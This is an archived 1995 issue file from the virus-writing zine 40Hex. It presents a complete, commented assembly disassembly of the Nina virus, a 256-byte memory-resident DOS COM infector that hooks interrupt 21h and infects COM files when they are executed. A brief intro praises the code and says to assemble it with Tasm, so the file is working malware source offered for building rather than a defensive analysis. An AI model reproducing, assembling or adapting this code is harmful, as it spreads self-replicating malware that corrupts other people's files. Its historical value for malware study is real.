home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_9.006 < prev    next >
Text File  |  1995-01-03  |  7KB  |  168 lines
  1. 40Hex Number 9 Volume 2 Issue 5                                       File 006
  2.  
  3. Below is the Nina virus.  It's a 256 byte generic COM infector supposedly
  4. originating in Bulgaria.  Although some minor portions are not as highly
  5. optimised as they could be, the code is well-written.  Items of note include
  6. the infection method, which is somewhat reminiscent of Jerusalem, the
  7. installation check handler in int 21h, and the residency routine.  As always,
  8. use Tasm to assemble.
  9.  
  10.                                                 Dark Angel
  11.  
  12. .model tiny
  13. .code
  14. org 100h
  15. ; Disassembly done by Dark Angel of Phalcon/Skism
  16. ; for 40Hex Number 9, Volume 2 Issue 5
  17. start:
  18.                 push    ax
  19.                 mov     ax,9753h                ; installation check
  20.                 int     21h
  21.                 mov     ax,ds
  22.                 dec     ax
  23.                 mov     ds,ax                   ; ds->program MCB
  24.                 mov     ax,ds:[3]               ; get size word
  25.                 push    bx
  26.                 push    es
  27.                 sub     ax,40h                  ; reserve 40h paragraphs
  28.                 mov     bx,ax
  29.                 mov     ah,4Ah                  ; Shrink memory allocation
  30.                 int     21h
  31.  
  32.                 mov     ah,48h                  ; Allocate 3Fh paragraphs
  33.                 mov     bx,3Fh                  ; for the virus
  34.                 int     21h
  35.  
  36.                 mov     es,ax                   ; copy virus to high
  37.                 xor     di,di                   ; memory
  38.                 mov     si,offset start + 10h   ; start at MCB:110h
  39.                 mov     cx,100h                 ; (same as PSP:100h)
  40.                 rep     movsb
  41.                 sub     ax,10h                  ; adjust offset as if it
  42.                 push    ax                      ; originated at 100h
  43.                 mov     ax,offset highentry
  44.                 push    ax
  45.                 retf
  46.  
  47. endfile         dw      100h ; size of infected COM file
  48.  
  49. highentry:
  50.                 mov     byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
  51.                                                 ; memory isn't freed when the
  52.                                                 ; program terminates
  53.                 mov     ax,3521h                ; get int 21h vector
  54.                 int     21h
  55.  
  56.                 mov     word ptr cs:oldint21,bx ; save it
  57.                 mov     word ptr cs:oldint21+2,es
  58.                 push    es
  59.                 pop     ds
  60.                 mov     dx,bx
  61.                 mov     ax,2591h                ; redirect int 91h to int 21h
  62.                 int     21h
  63.  
  64.                 push    cs
  65.                 pop     ds
  66.                 mov     dx,offset int21
  67.                 mov     al,21h                  ; set int 21h to virus vector
  68.                 int     21h
  69.  
  70.                 pop     ds                      ; ds->original program PSP
  71.                 pop     bx
  72.                 push    ds
  73.                 pop     es
  74. return_COM:
  75.                 mov     di,100h                 ; restore original
  76.                 mov     si,endfile              ; file
  77.                 add     si,di                   ; adjust for COM starting
  78.                 mov     cx,100h                 ; offset
  79.                 rep     movsb
  80.                 pop     ax
  81.                 push    ds                      ; jmp back to original
  82.                 mov     bp,100h                 ; file (PSP:100)
  83.                 push    bp
  84.                 retf
  85. exit_install:
  86.                 pop     ax                      ; pop CS:IP and flags in
  87.                 pop     ax                      ; order to balance the
  88.                 pop     ax                      ; stack and then exit the
  89.                 jmp     short return_COM        ; infected COM file
  90. int21:
  91.                 cmp     ax,9753h                ; installation check?
  92.                 je      exit_install
  93.                 cmp     ax,4B00h                ; execute?
  94.                 jne     exitint21               ; nope, quit
  95.                 push    ax                      ; save registers
  96.                 push    bx
  97.                 push    cx
  98.                 push    dx
  99.                 push    ds
  100.                 call    infect
  101.                 pop     ds                      ; restore registers
  102.                 pop     dx
  103.                 pop     cx
  104.                 pop     bx
  105.                 pop     ax
  106. exitint21:
  107.                 db      0eah ; jmp far ptr
  108. oldint21        dd      ?
  109.  
  110. infect:
  111.                 mov     ax,3D02h                ; open file read/write
  112.                 int     91h
  113.                 jc      exit_infect
  114.                 mov     bx,ax
  115.                 mov     cx,100h
  116.                 push    cs
  117.                 pop     ds
  118.                 mov     ah,3Fh                  ; Read first 100h bytes
  119.                 mov     dx,offset endvirus
  120.                 int     91h
  121.                 mov     ax,word ptr endvirus
  122.                 cmp     ax,'MZ'                 ; exit if EXE
  123.                 je      close_exit_infect
  124.                 cmp     ax,'ZM'                 ; exit if EXE
  125.                 je      close_exit_infect
  126.                 cmp     word ptr endvirus+2,9753h ; exit if already
  127.                 je      close_exit_infect       ; infected
  128.                 mov     al,2                    ; go to end of file
  129.                 call    move_file_pointer
  130.                 cmp     ax,0FEB0h               ; exit if too large
  131.                 ja      close_exit_infect
  132.                 cmp     ax,1F4h                 ; or too small for
  133.                 jb      close_exit_infect       ; infection
  134.                 mov     endfile,ax              ; save file size
  135.                 call    write
  136.                 mov     al,0                    ; go to start of file
  137.                 call    move_file_pointer
  138.                 mov     dx,100h                 ; write virus
  139.                 call    write
  140. close_exit_infect:
  141.                 mov     ah,3Eh                  ; Close file
  142.                 int     91h
  143. exit_infect:
  144.                 retn
  145.  
  146. move_file_pointer:
  147.                 push    dx
  148.                 xor     cx,cx
  149.                 xor     dx,dx
  150.                 mov     ah,42h
  151.                 int     91h
  152.                 pop     dx
  153.                 retn
  154.  
  155. write:
  156.                 mov     ah,40h
  157.                 mov     cx,100h
  158.                 int     91h
  159.                 retn
  160.  
  161.                 db      ' Nina '
  162. endvirus:
  163.                 int     20h ; original COM file
  164.  
  165.                 end     start
  166.  
  167. Downloaded From P-80 International Information Systems 304-744-2253
  168.